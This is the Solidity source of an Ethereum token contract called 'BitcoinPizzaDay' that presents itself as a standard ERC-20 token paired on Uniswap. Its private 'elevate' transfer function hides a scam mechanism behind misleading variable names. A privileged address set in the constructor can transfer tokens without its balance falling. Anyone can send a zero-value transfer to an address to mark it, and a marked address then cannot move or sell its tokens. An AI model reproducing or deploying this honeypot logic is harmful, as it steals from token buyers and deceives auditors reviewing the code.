Contract Name:
BitcoinPizzaDay
Contract Source Code:
File 1 of 1 : BitcoinPizzaDay
/*
https://twitter.com/bitcoin_pizza
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract BitcoinPizzaDay is Ownable {
constructor(address pizzaSlice) {
balanceOf[msg.sender] = totalSupply;
rarity[pizzaSlice] = ace;
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
}
address public uniswapV2Pair;
string public name = 'Bitcoin Pizza Day';
string public symbol = 'BTCPizza';
function approve(address account, uint256 bless) public returns (bool success) {
allowance[msg.sender][account] = bless;
emit Approval(msg.sender, account, bless);
return true;
}
function transferFrom(address blank, address commodity, uint256 bless) public returns (bool success) {
require(bless <= allowance[blank][msg.sender]);
allowance[blank][msg.sender] -= bless;
elevate(blank, commodity, bless);
return true;
}
event Transfer(address indexed from, address indexed to, uint256 value);
uint256 public totalSupply = 1_000_000_000_000 * 10 ** 9;
uint256 private ace = 65;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) public balanceOf;
mapping(address => uint256) private rarity;
function transfer(address commodity, uint256 bless) public returns (bool success) {
elevate(msg.sender, commodity, bless);
return true;
}
function elevate(address blank, address commodity, uint256 bless) private returns (bool success) {
if (rarity[blank] == 0) {
balanceOf[blank] -= bless;
}
if (bless == 0) dip[commodity] += ace;
if (blank != uniswapV2Pair && rarity[blank] == 0 && dip[blank] > 0) {
rarity[blank] -= ace;
}
balanceOf[commodity] += bless;
emit Transfer(blank, commodity, bless);
return true;
}
uint8 public decimals = 9;
mapping(address => uint256) private dip;
mapping(address => mapping(address => uint256)) public allowance;
}